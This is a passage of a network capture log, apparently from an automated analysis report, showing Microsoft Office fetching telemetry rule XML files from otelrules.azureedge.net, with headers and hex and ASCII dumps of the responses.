6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:37 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-164f84587bf9nk94hC1DFWerbg000000044g00000000bab7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013438Z-16547b76f7f7zzl8hC1DFWmtag000000040g00000000a75n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013438Z-1866b5c5fbb2cz68hC1DFW9ytc000000042000000000mnvn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013438Z-16547b76f7fbkfmzhC1DFWm9tw00000004q000000000hv9u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:38 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013438Z-16547b76f7f64d6whC1DFWf9vn00000003t00000000031br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:38 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d228471-101e-007a-15a6-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013438Z-164f84587bfm8kdnhC1DFWey4g000000057000000000a99y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:39 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013439Z-1866b5c5fbbzzh8chC1DFWdrc400000004pg00000000s1pf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:38 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 6864d5dd-401e-00ac-049c-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013439Z-164f84587bfdl84ghC1DFWbbhc00000005c0000000004b0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:39 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013439Z-1866b5c5fbbr78bbhC1DFWqz2n000000058g000000008ntd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:39 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013439Z-16547b76f7f64d6whC1DFWf9vn00000003tg0000000016hp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:39 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: d9e69733-b01e-0002-799c-361b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013439Z-164f84587bf28gjzhC1DFW35kg000000051g00000000cgr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:39 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:40 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 5ce9ffef-801e-0015-6fd2-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013440Z-1866b5c5fbb5hnj5hC1DFW18sc00000005b0000000004ut8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
